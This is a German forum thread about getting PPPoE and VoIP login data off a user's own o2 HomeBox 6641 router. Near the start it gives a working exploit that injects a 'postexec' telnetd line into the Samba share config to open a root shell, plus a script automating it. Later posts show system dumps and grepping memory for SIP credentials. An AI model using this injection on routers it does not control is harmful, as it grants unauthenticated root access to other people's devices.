[Problem] o2 HomeBox 6641 daten auslesen

Ich hab das gerade noch mal probiert, und muss meine Aussage korrigieren:

1.) Mit share verbinden:
Code:
sudo mount -t cifs -o rw,nounix //o2.box/drive1_1 /mnt/backup
2.) Share-Config editieren
Code:
echo "postexec = /usr/sbin/telnetd -p 23000" >> /mnt/backup/0root/var/etc/samba/smb-shares.conf
3.) 2. Verbindung zu share aufmachen, wieder trennen
4.)
Code:
telnet o2.box 23000

Sorry, irgendwie lief damals zu viel parallel.

Jedenfalls bleibt das Problem das selbe: Die Änderungen sind nicht reboot-sicher.
Es muss also $irgendwas gefunden werden, was auf einem jffs liegt, was beim booten ausgeführt wird und ein "einklinken" ermöglicht.

Edith:
Alternativ dazu ist der o.g. Ansatz vermutlich scriptbar, d.h. man legt sein binary auf dem Stick ab und markiert es via telnet executable (wichtig!).
Dann kann man von einem PC aus, z.B. via cronjob folgendes machen:
Code:
#!/bin/bash -e 
mount -t cifs -o rw,nounix  //o2.box/drive1_1 /mnt/exploitme
echo "postexec =  /var/usbMnt/drive1_1/exploitbinary" >>/mnt/exploitme/0root/var/etc/samba/smb-shares.conf
mount -t cifs  //o2.box/drive1_1 /mnt/exploitme-exec
umount -t cifs /mnt/exploitme-exec
if nc -z o2.box $exploitport; then
  sed -i -e 's#postexec = .*##g'  /mnt/exploitme/0root/var/etc/samba/smb-shares.conf
  echo success!
else
  echo failure
fi
umount /mnt/exploitme
...oder so ähnlich, ist ungetestet / frei erfunden.
Der Nachteil bei dem post/preexec ist halt, dass es immer gemacht wird, wenn sich $irgendwer verbindet.
Insofern sollte man da noch ein lock einbauen, ob der telnetd oder was auch immer schon läuft.
 
Zuletzt bearbeitet:
Sooo,

also vielen Dank bis hierhin qwertz.

Ich konnte heute die Telnet-Geschichte einwandfrei reproduzieren.
was leider noch nicht so ganz funzt, ist meine Shell zum laufen zu kriegen. Ich hab mir da nen netcat-2-Zeiler gebastelt (Warum kompliziert, wenn auch einfach). Dieser lässt sich nur noch nicht ausführen.
Könnte etwas mit den Berechtigungen im Dateisystem zu tun haben. K.A.
Aber ich werde mal als nächstes versuchen den SSH-Dienst etwas zu verbiegen.
Leider endet heute mein Urlaub. D.h. ich hab jetzt leider nicht mehr so viel Zeit.
Aber vllt hab ich die Box noch ne Weile da, dann kann ich ja bei Gelegenheit noch nen Stück weiter basteln.

Freundliche Grüsse :rock:
 
Ich bin zwischenzeitlich noch nicht weiter gekommen mit meiner Box:

Der PPPoE-Zugang, den ich zugeschickt bekommen habe ist für'n Eimer. Die Box startet pppd (auf ppp0.1) mit einem ganz anderen Benutzernamen/Passwort als das, was geschickt bekommen habe. Genauer gesagt, mit dem Zugang den ich aus /var/ppp{UserName,Password}_VoIP rausgefischt habe.
Kann man auch über "ps" oder /proc/$pid_des_pppd/cmdline rausfinden, da es direkt beim Start als Parameter übergeben wird.

Der Benutzername läuft wie schon geschrieben auf , wobei CC5D4E einfach der MAC-Vendor "Zyxel Corporation" ist.
Die 000000en werden durch was dynamisches ersetzt, ich vermute mal das das via tr069 kommt, Passwort des Zugangs ist die PIN.

Für alle, die sich noch ein wenig mehr für die Innereien der Box interessieren:
Code:
# for i in bcmlog brcm buddyinfo cmdline cpuinfo crypto devices filesystems interrupts ioports loadavg meminfo mii misc modules mounts mtd partitions 
switch version zoneinfo; do echo "Displaying file: /proc/$i:"; cat /proc/$i; echo EOF; done
Displaying file: /proc/bcmlog:
EOF
Displaying file: /proc/brcm:
cat: read error: Is a directory
EOF
Displaying file: /proc/buddyinfo:
Node 0, zone      DMA      1      2      2      2      3      2      2      2      1      2      1 
Node 0, zone   Normal     57     25      5      4      1      1      1      0      1      1      0 
EOF
Displaying file: /proc/cmdline:
root=mtd:rootfs ro rootfstype=jffs2 console=ttyS0,115200
EOF
Displaying file: /proc/cpuinfo:
system type             : 963168VXTo2
processor               : 0
cpu model               : Broadcom4350 V8.0
BogoMIPS                : 398.33
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

unaligned exceptions            : 68193
processor               : 1
cpu model               : Broadcom4350 V8.0
BogoMIPS                : 402.43
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

unaligned exceptions            : 68193
EOF
Displaying file: /proc/crypto:
name         : stdrng
driver       : krng
module       : kernel
priority     : 200
refcnt       : 1
selftest     : passed
type         : rng
seedsize     : 0

name         : aes
driver       : aes-generic
module       : kernel
priority     : 100
refcnt       : 1
selftest     : passed
type         : cipher
blocksize    : 16
min keysize  : 16
max keysize  : 32

name         : des3_ede
driver       : des3_ede-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : cipher
blocksize    : 8
min keysize  : 24
max keysize  : 24

name         : des
driver       : des-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : cipher
blocksize    : 8
min keysize  : 8
max keysize  : 8

name         : sha1
driver       : sha1-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : shash
blocksize    : 64
digestsize   : 20

name         : md5
driver       : md5-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : shash
blocksize    : 64
digestsize   : 16

name         : compress_null
driver       : compress_null-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : compression

name         : digest_null
driver       : digest_null-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : shash
blocksize    : 1
digestsize   : 0

name         : ecb(cipher_null)
driver       : ecb-cipher_null
module       : kernel
priority     : 100
refcnt       : 1
selftest     : passed
type         : blkcipher
blocksize    : 1
min keysize  : 0
max keysize  : 0
ivsize       : 0
geniv        : <default>

name         : cipher_null
driver       : cipher_null-generic
module       : kernel
priority     : 0
refcnt       : 1
selftest     : passed
type         : cipher
blocksize    : 1
min keysize  : 0
max keysize  : 0

EOF
Displaying file: /proc/devices:
Character devices:
  1 mem
  2 pty
  3 ttyp
  4 ttyS
  5 /dev/tty
  5 /dev/console
  5 /dev/ptmx
 10 misc
 68 capi20
 90 mtd
108 ppp
128 ptm
136 pts
180 usb
188 ttyUSB
189 usb_device
206 brcmboard
208 adsl
209 endpoint
227 p8021ag
228 bcmxtmcfg
233 spu
238 bcmvlan
240 pwrmngt
241 bcmfap
242 fcache
243 ingqos
244 bpm
245 bcmarl
246 chipinfo
249 gmac
253 isdnCmd
254 usb_endpoint

Block devices:
259 blkext
  8 sd
 31 mtdblock
 65 sd
 66 sd
 67 sd
 68 sd
 69 sd
 70 sd
 71 sd
128 sd
129 sd
130 sd
131 sd
132 sd
133 sd
134 sd
135 sd
EOF
Displaying file: /proc/filesystems:
nodev   sysfs
nodev   rootfs
nodev   bdev
nodev   proc
nodev   sockfs
nodev   usbfs
nodev   pipefs
nodev   tmpfs
nodev   devpts
        ext3
        ext2
nodev   ramfs
        vfat
nodev   jffs2
nodev   fuse
        fuseblk
nodev   fusectl
EOF
Displaying file: /proc/interrupts:
           CPU0       CPU1       
  0:   57149059  203334266  BCM63xx               IPI(0x420)
  7:   99698359   99698301  BCM63xx               timer(0x420)
 15:          0          0  BCM63xx               wl0(0x80)
 17:          1          0  BCM63xx               ohci_hcd:usb2(0x80)
 18:        338          0  BCM63xx               ehci_hcd:usb1(0x80)
 21:          0          0  BCM63xx_no_unmask     brcm_21(0x60)
 22:          0          0  BCM63xx_no_unmask     brcm_22(0x60)
 31:    1449557          0  BCM63xx_no_unmask     dsl(0x60)
 32:     369398          0  BCM63xx_no_unmask     brcm_32(0x60)
 33:     400634          0  BCM63xx_no_unmask     brcm_33(0x60)
 39:          0          0  BCM63xx_no_unmask     brcm_39(0x60)
 42:          0       6494  BCM63xx_no_unmask     serial(0x60)
 48:          0          0  BCM63xx               wl1(0x80)
 50:          0   19925211  BCM63xx               voip(0x40)
 53:          0          0  BCM63xx_no_unmask     brcm_53(0x60)
 54:          2          0  BCM63xx               isdn_mvr(0x20)
 91:          0          0  BCM63xx_no_unmask     brcm_91(0x60)

ERR:          0
EOF
Displaying file: /proc/ioports:
a1100000-a110ffff : bcm63xx pci IO space
EOF
Displaying file: /proc/loadavg:
1.81 2.63 3.10 1/128 31947
EOF
Displaying file: /proc/meminfo:
MemTotal:         123632 kB
MemFree:           15336 kB
Buffers:              68 kB
Cached:            32908 kB
SwapCached:            0 kB
Active:            17036 kB
Inactive:          26032 kB
Active(anon):      10092 kB
Inactive(anon):        0 kB
Active(file):       6944 kB
Inactive(file):    26032 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:         10128 kB
Mapped:             9444 kB
Slab:              52128 kB
SReclaimable:        940 kB
SUnreclaim:        51188 kB
PageTables:          676 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       61816 kB
Committed_AS:      17552 kB
VmallocTotal:    1032148 kB
VmallocUsed:       11788 kB
VmallocChunk:     981468 kB
EOF
Displaying file: /proc/mii:
[00:00] = 00 00
EOF
Displaying file: /proc/misc:
 61 network_throughput
 62 network_latency
 63 cpu_dma_latency
229 fuse
EOF
Displaying file: /proc/modules:
nf_nat_tftp 1152 0 - Live 0xc1a67000
nf_nat_irc 1936 0 - Live 0xc1a5e000
nf_nat_rtsp 4592 0 - Live 0xc1a54000
nf_nat_sip 7168 0 - Live 0xc1a49000
nf_nat_h323 7056 0 - Live 0xc1a3d000
nf_nat_ftp 2720 0 - Live 0xc1a32000
nf_conntrack_tftp 4096 1 nf_nat_tftp, Live 0xc1a28000
nf_conntrack_irc 5504 1 nf_nat_irc, Live 0xc1a1d000
nf_conntrack_rtsp 10256 1 nf_nat_rtsp, Live 0xc1a10000
nf_conntrack_sip 15120 1 nf_nat_sip, Live 0xc1a01000
nf_conntrack_ftp 7408 1 nf_nat_ftp, Live 0xc19f3000
xt_hashlimit 11968 1 - Live 0xc19d4000
xt_pkttype 1344 4 - Live 0xc19c7000
xt_recent 10272 10 - Live 0xc19bc000
capi 8704 4 - Live 0xc1953000
isdn_brcm 427424 1 capi, Live 0xc18df000 (P)
nf_conntrack_ipv6 13680 0 - Live 0xc1772000
ip6t_REJECT 4016 0 - Live 0xc1765000
ip6t_ah 1600 0 - Live 0xc175b000
ip6t_LOG 7536 0 - Live 0xc1751000
ip6table_filter 2144 1 - Live 0xc173d000
ip6table_mangle 2256 0 - Live 0xc172a000
ip6_tables 13968 4 ip6t_ah,ip6t_LOG,ip6table_filter,ip6table_mangle, Live 0xc171d000
xt_multiport 2800 3 - Live 0xc1710000
xt_mac 1264 0 - Live 0xc1706000
nf_conntrack_h323 49024 1 nf_nat_h323, Live 0xc16f2000
nf_nat_pptp 2560 0 - Live 0xc16dc000
nf_conntrack_pptp 6080 1 nf_nat_pptp, Live 0xc16d1000
nf_nat_proto_gre 1936 1 nf_nat_pptp, Live 0xc16c6000
nf_conntrack_proto_gre 5344 1 nf_conntrack_pptp, Live 0xc16bc000
nfnetlink_queue 9184 0 - Live 0xc16af000
iptable_mangle 2320 1 - Live 0xc169a000
xt_MARK 1840 8 - Live 0xc1690000
xt_mark 1376 0 - Live 0xc1687000
xt_DSCP 3008 0 - Live 0xc167e000
xt_dscp 2080 4 - Live 0xc1674000
xt_length 1456 1 - Live 0xc166b000
ipt_REJECT 3360 0 - Live 0xc1662000
ipt_LOG 6928 2 - Live 0xc1657000
xt_limit 2240 5 - Live 0xc164c000
xt_state 1760 8 - Live 0xc1642000
ipt_REDIRECT 1552 0 - Live 0xc1639000
ipt_MASQUERADE 4512 1 - Live 0xc162f000
iptable_nat 5040 1 - Live 0xc160f000
nf_nat 17184 11 nf_nat_tftp,nf_nat_irc,nf_nat_rtsp,nf_nat_sip,nf_nat_h323,nf_nat_ftp,nf_nat_pptp,nf_nat_proto_gre,ipt_REDIRECT,ipt_MASQUERADE,iptable_nat, Live 0xc1600000
nf_conntrack_ipv4 13920 11 iptable_nat,nf_nat, Live 0xc15ef000
nf_defrag_ipv4 1552 1 nf_conntrack_ipv4, Live 0xc15e1000
nf_conntrack 63424 21 nf_nat_tftp,nf_nat_irc,nf_nat_rtsp,nf_nat_sip,nf_nat_h323,nf_nat_ftp,nf_conntrack_tftp,nf_conntrack_irc,nf_conntrack_rtsp,nf_conntrack_sip,nf_conntrack_ftp,nf_conntrack_ipv6,nf_conntrack_h323,nf_nat_pptp,nf_conntrack_pptp,nf_conntrack_proto_gre,xt_state,ipt_MASQUERADE,iptable_nat,nf_nat,nf_conntrack_ipv4, Live 0xc15c9000
nfnetlink 4304 1 nfnetlink_queue, Live 0xc15aa000
xt_SKIPLOG 1200 1 - Live 0xc15a0000
xt_TCPMSS 4448 1 - Live 0xc1596000
iptable_filter 2240 1 - Live 0xc1583000
ip_tables 12704 3 iptable_mangle,iptable_nat,iptable_filter, Live 0xc1576000
pwrmngtd 6384 0 - Live 0xc14dc000 (P)
bcmvlan 103264 0 - Live 0xc14b8000 (P)
endpointdd 4328544 1 - Live 0xc106a000 (P)
wl 4692608 0 - Live 0xc0913000 (P)
bcmarl 7568 0 - Live 0xc0362000 (P)
bcm_enet 204112 2 pwrmngtd,wl, Live 0xc0325000
adsldd 371936 0 - Live 0xc027d000 (P)
bcmxtmcfg 81136 1 adsldd, Live 0xc0201000 (P)
bcmfap 194720 2 bcmarl,bcm_enet, Live 0xc016c000 (P)
pktflow 113040 2 bcm_enet,bcmfap, Live 0xc00d0000 (P)
bcm_bpm 209040 0 [permanent], Live 0xc0085000 (P)
bcm_ingqos 10688 0 - Live 0xc0075000 (P)
chipinfo 1728 0 - Live 0xc0069000 (P)
EOF
Displaying file: /proc/mounts:
rootfs / rootfs rw 0 0
mtd:rootfs / jffs2 ro,relatime 0 0
proc /proc proc rw,relatime 0 0
none /proc/bus/usb usbfs rw,relatime 0 0
tmpfs /var tmpfs rw,relatime,size=420k 0 0
tmpfs /mnt tmpfs rw,relatime,size=16k 0 0
sysfs /sys sysfs rw,relatime 0 0
/dev/mtdblock1 /data jffs2 rw,relatime 0 0
/dev/mtdblock3 /firmware jffs2 rw,relatime 0 0
/dev/sda1 /var/usbMnt/Drive1_1 ext3 rw,relatime,data=writeback 0 0
EOF
Displaying file: /proc/mtd:
dev:    size   erasesize  name
mtd0: 013c0000 00020000 "rootfs"
mtd1: 00400000 00020000 "data"
mtd2: 00020000 00020000 "nvram"
mtd3: 02920000 00020000 "fw"
EOF
Displaying file: /proc/partitions:
major minor  #blocks  name

  31        0      20224 mtdblock0
  31        1       4096 mtdblock1
  31        2        128 mtdblock2
  31        3      42112 mtdblock3
   8        0    7897088 sda
   8        1    7830528 sda1
   8        2      65536 sda2
EOF
Displaying file: /proc/switch:
EOF
Displaying file: /proc/version:
Linux version 2.6.30 (chinglung@205) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Jul 18 20:54:33 CST 2014
EOF
Displaying file: /proc/zoneinfo:
Node 0, zone      DMA
  pages free     2829
        min      45
        low      56
        high     67
        scanned  0 (aa: 0 ia: 0 af: 0 if: 0)
        spanned  4096
        present  4064
    nr_free_pages 2829
    nr_inactive_anon 0
    nr_active_anon 0
    nr_inactive_file 0
    nr_active_file 0
    nr_anon_pages 0
    nr_mapped    0
    nr_file_pages 0
    nr_dirty     0
    nr_writeback 0
    nr_slab_reclaimable 0
    nr_slab_unreclaimable 0
    nr_page_table_pages 0
    nr_unstable  0
    nr_bounce    0
    nr_vmscan_write 0
    nr_writeback_temp 0
        protection: (0, 109, 109)
  pagesets
    cpu: 0
              count: 0
              high:  0
              batch: 1
  vm stats threshold: 4
    cpu: 1
              count: 0
              high:  0
              batch: 1
  vm stats threshold: 4
  all_unreclaimable: 0
  prev_priority:     6
  start_pfn:         0
  inactive_ratio:    1
Node 0, zone   Normal
  pages free     1007
        min      312
        low      390
        high     468
        scanned  0 (aa: 0 ia: 0 af: 0 if: 0)
        spanned  28366
        present  28144
    nr_free_pages 1007
    nr_inactive_anon 0
    nr_active_anon 2523
    nr_inactive_file 6508
    nr_active_file 1736
    nr_anon_pages 2530
    nr_mapped    2361
    nr_file_pages 8244
    nr_dirty     0
    nr_writeback 0
    nr_slab_reclaimable 235
    nr_slab_unreclaimable 12809
    nr_page_table_pages 169
    nr_unstable  0
    nr_bounce    0
    nr_vmscan_write 0
    nr_writeback_temp 0
        protection: (0, 0, 0)
  pagesets
    cpu: 0
              count: 40
              high:  42
              batch: 7
  vm stats threshold: 4
    cpu: 1
              count: 13
              high:  42
              batch: 7
  vm stats threshold: 4
  all_unreclaimable: 0
  prev_priority:     6
  start_pfn:         4096
  inactive_ratio:    1
EOF
# ps
  PID USER       VSZ STAT COMMAND
    1 admin     2996 S    init
    2 admin        0 SW<  [kthreadd]
    3 admin        0 SW<  [migration/0]
    4 admin        0 SW   [sirq-high/0]
    5 admin        0 SW   [sirq-timer/0]
    6 admin        0 SW   [sirq-net-tx/0]
    7 admin        0 SW   [sirq-net-rx/0]
    8 admin        0 SW   [sirq-block/0]
    9 admin        0 SW   [sirq-tasklet/0]
   10 admin        0 SW   [sirq-sched/0]
   11 admin        0 SW   [sirq-hrtimer/0]
   12 admin        0 SW   [sirq-rcu/0]
   13 admin        0 SW<  [migration/1]
   14 admin        0 SW   [sirq-high/1]
   15 admin        0 SW   [sirq-timer/1]
   16 admin        0 SW   [sirq-net-tx/1]
   17 admin        0 SW   [sirq-net-rx/1]
   18 admin        0 SW   [sirq-block/1]
   19 admin        0 SW   [sirq-tasklet/1]
   20 admin        0 SW   [sirq-sched/1]
   21 admin        0 SW   [sirq-hrtimer/1]
   22 admin        0 SW   [sirq-rcu/1]
   23 admin        0 SW<  [events/0]
   24 admin        0 SW<  [events/1]
   25 admin        0 SW<  [khelper]
   28 admin        0 SW<  [async/mgr]
   77 admin        0 SW<  [kblockd/0]
   78 admin        0 SW<  [kblockd/1]
   87 admin        0 SW<  [khubd]
  105 admin        0 DW<  [skbFreeTask]
  106 admin        0 SW<  [bpm]
  122 admin        0 SW   [pdflush]
  123 admin        0 SW   [pdflush]
  124 admin        0 SWN  [kswapd0]
  126 admin        0 SW<  [crypto/0]
  127 admin        0 SW<  [crypto/1]
  184 admin        0 SW<  [mtdblockd]
  219 admin        0 SW<  [watchdog_thread]
  224 admin        0 SW<  [linkwatch]
  244 admin        0 SWN  [jffs2_gcd_mtd1]
  245 admin        0 SWN  [jffs2_gcd_mtd3]
  259 admin     3040 S    -/bin/sh
  289 admin        0 SW   [kpAliveWatchdog]
  349 admin        0 SW   [bcmsw]
  350 admin        0 SW   [bcmsw_timer]
  404 admin     7052 S    smd
  407 admin     7832 S    ssk
  551 admin     3008 S    syslogd -n -C -l 1
  552 admin     2988 S    klogd -n
  812 admin     8176 S    mcpd
  813 admin     1596 S    dhcpd
  895 admin     4548 S    radvd -C /var/radvd.conf
  916 admin     9052 S    wlmngr -m 0
  950 admin     1348 S    /bin/wlevt
  983 admin        0 SW   [dsl0]
  991 admin     1456 S    ippd /var/printers.ini
  992 admin     2992 S    tcpsvd -E 0 9100 /usr/bin/lpr -P printer0
  993 admin     2992 S    tcpsvd -E 0 515 /usr/sbin/lpd /dev
 1039 admin     4928 S    sit
 1092 admin     8056 S    autoscheduling -m 0
 1135 admin     7744 S N  smbd -D -s /etc/samba/smb.conf -l=/var/tmp/smbvar --
 1164 admin     7748 S N  smbd -D -s /etc/samba/smb.conf -l=/var/tmp/smbvar --
 1194 admin      760 S    cpuload
 1195 admin     4952 S <  callmngr
 1196 admin     8200 S    callmngr_bspal -m 0
 1197 admin     1456 S    dsldiagd
 1198 admin     6384 S    swmdk
 1200 admin      760 S    voipmonitor
 1202 admin     6948 S    pbd -m 0
 1281 admin        0 SW<  [scsi_eh_1]
 1282 admin        0 SW<  [usb-storage]
 1314 admin     6384 S    swmdk
 1315 admin     6384 S    swmdk
 1317 admin     6384 S    swmdk
 1319 admin     4952 S    callmngr
 1320 admin     4952 S    callmngr
 1329 admin     4952 S    callmngr
 1330 admin     4952 S    callmngr
 1331 admin     4952 S    callmngr
 1334 admin     8200 S    callmngr_bspal -m 0
 1335 admin     8200 S    callmngr_bspal -m 0
 1340 admin     6948 S    pbd -m 0
 1344 admin     4952 S    callmngr
 1347 admin     4952 S <  callmngr
 1359 admin     3648 S    proftpd: (accepting connections)
 1366 admin     4952 S <  callmngr
 1397 admin     8200 S    callmngr_bspal -m 0
 1398 admin     8200 S    callmngr_bspal -m 0
 1416 admin     4952 S <  callmngr
 1418 admin     4952 S <  callmngr
 1419 admin     4952 S <  callmngr
 1420 admin     4952 S <  callmngr
 1435 admin        0 SW<  [kjournald]
 1455 admin     4952 S <  callmngr
 1456 admin     4952 S <  callmngr
 1457 admin     4952 S <  callmngr
 1468 admin     4952 S    callmngr
 1469 admin     4952 S    callmngr
 1470 admin     4952 S    callmngr
 1471 admin     4952 S    callmngr
 1472 admin     4952 S    callmngr
 1473 admin     4952 S    callmngr
 1474 admin     4952 S    callmngr
 1475 admin     4952 S    callmngr
 1476 admin     4952 S    callmngr
 1477 admin     4952 S    callmngr
 1478 admin     4952 S    callmngr
 1492 admin        0 SW<  [stLnx_Int]
 1494 admin        0 SW<  [stLnx_Sched]
 1500 admin     4952 S    callmngr
 1501 admin     4952 S    callmngr
 1504 admin     4952 S    callmngr
 1505 admin     4952 S    callmngr
 1506 admin     4952 S    callmngr
 1507 admin     4952 S    callmngr
 1508 admin     4952 S    callmngr
 1509 admin     4952 S    callmngr
 1510 admin     4952 S    callmngr
 1765 admin     5508 S    pppd -c ppp0.1 -i atm1 -u <censored>
 2138 admin     7992 S    sntp -s time.sip.alice-voip.de -s de.pool.ntp.org -t
 7512 admin     7604 S    upnp -m 0 -L br0 -W ppp0.1 -W2 atm1
 7698 admin     4952 S    callmngr
16103 admin     7224 S    dnsproxy
31238 admin     8004 S N  smbd -D -s /etc/samba/smb.conf -l=/var/tmp/smbvar --
31347 admin     2996 S N  /usr/sbin/telnetd -p 23000
31646 admin     3040 S N  -sh
32136 admin        0 Z    [consoled]
32509 admin     2996 R N  ps

Edith:
Da die Box auch /dev/mem hat, kann ich auch relativ sicher sagen, dass auch bei mir die Standard-Konfig zu greifen scheint.
Ich habe einfach mal nach meiner Telefonnummer ge-grep-d:
Code:
Authorization: Digest username="49<ortsvorwahl_ohne_0+rufnummer>", realm="ims.telefonica.de", nonce="<censored>", uri="sip:sip.alice-voip.de", response="<censored>", algorithm=MD5, cnonce="<censored>", qop=auth, nc=<censored>
Das hilft mir bezüglich des Passwortes nicht weiter, allerdings bin ich mir jetzt sicher, dass mein Benutzername stimmt.
Der Server sip.alice-voip.de scheint auch zu stimmen. Allerdings hätte ich bei Username eigentlich erwartet, dass da entweder [email protected] steht oder das der realm halt sip.alice-voip.de ist , denn normalerweise wird die Domain glaube ich angehängt? Wenn das nicht stimmt, würde das auch für "401" reichen, muss ich bei Gelegenheit mal testen.
 
Zuletzt bearbeitet:
@qwertz12
Ich hänge noch fest beim telnet zugang, der will bei mir irgendwie nicht starten.

Zu der Sache mit [email protected], die 0en sind die Seriennummer von der Box und nach dem - kommt wie du richtig geschrieben hast der MAC-Vendor.

Wie schaut ein ps aus wenn du gerade telefonierst? Und kannst du nicht per telnet per dd die partitionen kopieren? Auch gibt es ein paar service tools, vll kann man sich mit diesen die Daten anzeigen lassen.

--
Ich werde mir es aber wohl ganz einfach machen, indem ich zu 1und1 Wechsel und eine Fritz!Box 7490 bekomme, ich werde dann mal testen ob ich damit auch beim ADSL Bitstream anschluss an die Daten komme. Gut das ich einen 1 Monatsvertrag habe nach 2 Verlängerungen von 12 Monaten, ich wäre sowieso gegangen wenn sie mich in einen neuen Vertrag mit Drossel gesteckt hätten. Damit wird wohl meine 6 Jahr mit Alice (o2) zu ende gehen.
 
Ach, nach der Seriennummer hatte ich noch gar nicht geschaut, das Gerät hängt auf dem Dachboden, da muss ich immer raufkriechen ;)
Aber wenn's stimmt (was ich auch prüfen werde) wäre das ne sehr gute Sache, weil dann hat jeder Boxbesitzer schon mal automatisch das richtige PPP-Login zur Hand - man braucht nur noch die PIN.

Das "ps" ist unauffällig, weil der callmngr und die anderen Dienste offenbar via Sockets kommunizieren bzw. sich selbst forken / mehrere Prozesse/Threads aufmachen. Da kommt man über die Befehlszeile die zum Start verwendet wurde nicht weiter. Es laufen auch gefühlte 100000 callmngr Prozesse, was die Sache nicht vereinfacht (-> oben).

Bezüglich der längerfristigen Lösung:
Zu 1&1 will ich definitiv nicht :mad:. Davon abgesehen mag ich meine 1-monatige Vertragslaufzeit mit 1-monatiger Verlängerung, bei 1&1 verlängern sich die Verträge immer gleich um 3 Monate (bzw. haben die 3 Monate Kündigungsfrist, kommt auf das Selbe raus). Da ist man einfach immer in einer guten Verhandlungsposition und sehr flexibel.
Die Drossel ist für mich auch kein Problem, zumindest noch nicht.
Letztendlich wollte ich schon immer VDSL haben, und da das mittlerweile so viel kostet wie mein bisheriger Altvertrag werde ich wohl "upgraden".
Spätestens dann habe ich eine "bekannte" Problematik, weil anderes Zugangsnetz und nicht mehr die exoten-Kombination ADSL, Bitstream und VDSL-Box.
So hoffe ich das Problem zu klären, falls ich gar nicht weiter komme.

Ansonsten kann ich ja dann 4 Wochen später immer noch zur Konkurrenz gehen ;)
Im Moment hat mich aber arg der Ehrgeiz gepackt, insofern spiel ich noch ein bisschen. DECT/CAT-iq hat die Box ja, insofern geht nicht jeder Komfort verloren.

Edith:
Die Servicetools hab ich getestet, sind aber alle undokumentiert :( und haben keine Hilfe die den Namen verdient.
Den Flash kann ich dumpen, wird aber vermutlich nichts bringen - ich geh davon aus, dass es sich um ein reines Konfigurationsproblem handelt. Ich denke schon, dass wir alles haben was wir für's Login brauchen - wir wissen nur nicht, woran es aktuell scheitert bzw. wie wir kombinieren müssen.
 
Zuletzt bearbeitet:
@qwertz12
Doch wir wissen an was es scheitert und zwar am VoIP Passwort für jede Nummer.

Was ich so aus anderen Threads gelesen habe die auch einen S92 Anschluss haben (egal ob 2PVC oder 1PVC), ist es wohl dort so:

Benutzername: 4930123456789
Kennwort: 030123456789w3et

Oder ähnlich, ich hab halt noch nie die plaintext Daten gesehen, jedenfalls soll das Kennwort aus deiner Nummer mit 0 statt 49 und random zeichen bestehen, wohl so 4-5 Stück.

Was hast du gegen 1und1 außer der Vertragslaufzeit? Ich hab halt keine Alternativen, o2 macht es mir durch Routerzwang unmöglich meinen Anschluss richtig nutzen zu können -> Also bleiben mehr oder weniger noch Telekom und 1und1. Da ich auch 2 Alice Mobile Nummern habe und ich die bei Telekom nicht günstig mitnehmen kann, bleibt nur noch 1und1 über - außerdem sage ich nicht nein nur einer FritzBox 7490 die ich eh eventuell wollte. Klar ich bin dann 24 Monate gebunden, aber günstiger wird es wohl kaum werden und nach dem 2 Jahren wird eh wieder Gekündigt um Hardware, Bonus gelten zu machen oder aber zur Konkurenz zu gehen. Ich habe halt auch das Problem die letzte Meile von Telekom nutzen zu müssen ohne alternativen und leider auch mit Regio aufschlag.

Achso die Verträge verlängern sich um 12 Monate, mit 3 Monaten Kündigungsfrist.
 
Kannst du mir mal S92 Anschluss definieren? Hör ich zum ersten mal.
Edit: Ach, du meinst @s92.bbi..... Doh!

Wenn das Kennwort aus meiner Nummer besteht, nur mit "0", dann sollte ich es ja via grep /dev/mem finden - mal sehen.

Das ist aber eher was für den Rest der Woche. Ich muss mir auch noch mal das openssl auf der Box ansehen, wäre ja nicht schlecht zu wissen, mit was die config wirklich verschlüsselt wird.

Offtopic - was 1&1 / Providerwechsel angeht:

1.)
Ich hab von den 1&1 Verträgen mit 1-Monatslaufzeit gesprochen, das hab ich oben noch mal korrigiert. (Ich leide an edit-Wahn :silly:) Klar verlängern die sich nur um 1 Monat, aber man muss halt 3 Monate vorher kündigen... Wer sich das ausgedacht hat, will ich lieber nicht wissen.

2.)
Gründe gegen 1&1 sind bei mir nur subjektiv/hörensagen: Die Schauergeschichten vom Service sind bei 1&1 noch schlimmer, als bei o2 ;).

Davon abgesehen müsste ich meine Rufnummern portieren, das kostet auch nicht unerheblich - es ist ja ne Gebühr pro Nummer fällig, wenn man von o2 wegwechselt. Trotzdem empfinde ich 1&1 schon als die einzige Alternative, wenn man annehmbare Vertragslaufzeiten will - 2 Jahre sind für mich grundsätzlich inakzeptabel, insbesondere da man auch über Sonderkündigung i.d.R. nur schwer wegkommt, wenn man einfach unzufrieden ist oder die Leistung nicht stimmt.
Schreiend weglaufen würde ich definitiv vor Vodafone, ich kenn die jetzt schon 10 Jahre und der Laden wird immer noch unterirdischer.
Ich blick bei denen blos bei 1&1 nie so richtig durch - das Chaos auf deren Seiten ist wesentlich schlimmer, als bei o2. Und wer mit Service wirbt und Servicewüste bietet....

Ist hier auch alles nicht so einfach, weil hier mehrere Parteien an dem Anschluss hängen - aufm platten Land ist alles etwas langsamer und gemütlicher.

3.) Regio-Aufschlag
... konnte man bei o2 / Alice immer gut wegverhandeln. Ich bin seit 4+ Jahren dabei und hab den noch nie gezahlt ;). Einziges Manko war halt, dass man aller 6 Monate ne Kündigungsvormerkung machen musste, damit man wieder den Rabatt bekam.
Aktuell gibt es den Zuschlag wohl gar nicht mehr, zumindest meine letzte Info. Bei 1&1 ist der immer irgendwo versteckt im Kleingedruckten, keine Ahnung ob der da weg zu verhandeln geht.
 
Zuletzt bearbeitet:
Aaalso.

Ich hab gestern noch /dev/mem gegreppt und gedumpt, und heute morgen mal fix drüber geschaut.

Augenblicklich scheint es so, als würde ich erfolg gehabt haben.

